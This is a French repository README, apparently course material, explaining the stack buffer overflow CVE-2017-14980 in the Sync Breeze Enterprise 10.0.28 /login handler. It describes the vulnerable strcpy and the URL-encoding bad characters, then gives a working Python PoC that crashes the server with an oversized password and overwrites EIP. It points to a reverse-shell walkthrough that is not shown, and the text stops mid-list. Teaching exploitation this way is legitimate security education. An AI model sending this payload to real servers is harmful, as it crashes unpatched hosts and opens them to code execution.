themalwareguardian/cve-2017-14980Débordement de tampon basé sur la pile dans Sync Breeze Enterprise 10.0.28 accessible via le gestionnaire /login, démontrant comment une longueur d'entrée non contrôlée peut corrompre la mémoire de la pile.
Débordement de tampon basé sur la pile dans Sync Breeze Enterprise 10.0.28 accessible via le gestionnaire /login, illustrant comment une longueur d'entrée non vérifiée peut corrompre la mémoire de la pile.
Ce dépôt fait partie du matériel que j'utilise pour enseigner l'exploitation des corruptions mémoire (en plus de mon travail habituel, j'enseigne également dans différents cours de cybersécurité où j'aide à former la prochaine génération d'ingénieurs en rétro-ingénierie).
CVE-2017-14980 est un cas que j'utilise lorsque je souhaite que les étudiants expérimentent un écrasement EIP vanille sur HTTP plutôt que sur un protocole TCP brut. Cela semble simple au premier abord, un formulaire de connexion, un mot de passe long, un crash, mais le contexte HTTP introduit un ensemble de mauvais caractères qui ne sont pas immédiatement évidents et qui obligent les étudiants à réfléchir à la manière dont les données sont traitées avant d'atteindre le tampon vulnérable. Comprendre pourquoi %, &, + et = sont des mauvais caractères ici nécessite de comprendre l'encodage URL, ce qui est une leçon utile en soi.
Sync Breeze Enterprise est une application de synchronisation de fichiers Windows qui expose une interface de gestion web. La vulnérabilité se trouve dans le gestionnaire de connexion, qui copie le champ du mot de passe dans un tampon de pile de taille fixe sans validation de longueur. Ce qui rend ce cas utile pour l'enseignement :
Sync Breeze Enterprise est un outil de synchronisation de fichiers Windows qui inclut un serveur web intégré pour la gestion à distance. L'interface web écoute sur le port TCP 80 lorsqu'elle est activée et expose un formulaire de connexion à /login. La vulnérabilité se trouve dans le gestionnaire POST qui traite le champ du mot de passe.
Détails techniques clés :
Sync Breeze traite le formulaire de connexion en lisant le corps POST et en extrayant le champ du mot de passe. La valeur est copiée dans un tampon de pile de taille fixe sans vérifier sa longueur. Une version simplifiée de la logique vulnérable ressemble à ceci :
char password_buffer[256];
strcpy(password_buffer, password_field);
Le corps POST est décodé URL avant que la copie n'ait lieu, ce qui signifie que des caractères comme %25 sont décodés en % avant d'atteindre le tampon. C'est aussi pourquoi certains caractères spéciaux d'URL agissent comme des mauvais caractères : ils sont interprétés par la couche HTTP avant que les données n'atteignent l'opération de copie vulnérable. L'envoi d'une valeur de mot de passe suffisamment longue fait que la copie écrit au-delà de la fin du tampon, écrasant l'adresse de retour sauvegardée. Lorsque la fonction retourne, le CPU charge la valeur contrôlée par l'attaquant depuis la pile dans EIP et saute dessus.
Le crash peut être reproduit en envoyant un mot de passe surdimensionné dans une requête POST à /login. Aucune authentification n'est requise. Exemple en Python :
import socket
HOST = '127.0.0.1'
PORT = 80
payload = b"A" * 600
body = b"username=admin&password=" + payload
request = (
b"POST /login HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Content-Type: application/x-www-form-urlencoded\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Connection: close\r\n"
b"\r\n" +
body
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(request)
s.close()
Lorsqu'il est exécuté sous un débogueur, le crash montre EIP écrasé avec des données contrôlées par l'utilisateur :
EIP = 41414141
confirmant que l'adresse de retour sauvegardée a été corrompue par le débordement.
L'objectif de ce dépôt n'est pas seulement de démontrer le crash, mais de parcourir le processus d'exploitation complet étape par étape, du fuzzing à un shell reverse fonctionnel.
Pour garder le README principal propre, les notes d'exploitation détaillées, les scripts et les étapes du débogueur sont placés dans le dossier Vulnerability 📂 de ce dépôt.
Vous y trouverez le workflow complet utilisé pour exploiter cette CVE, comprenant :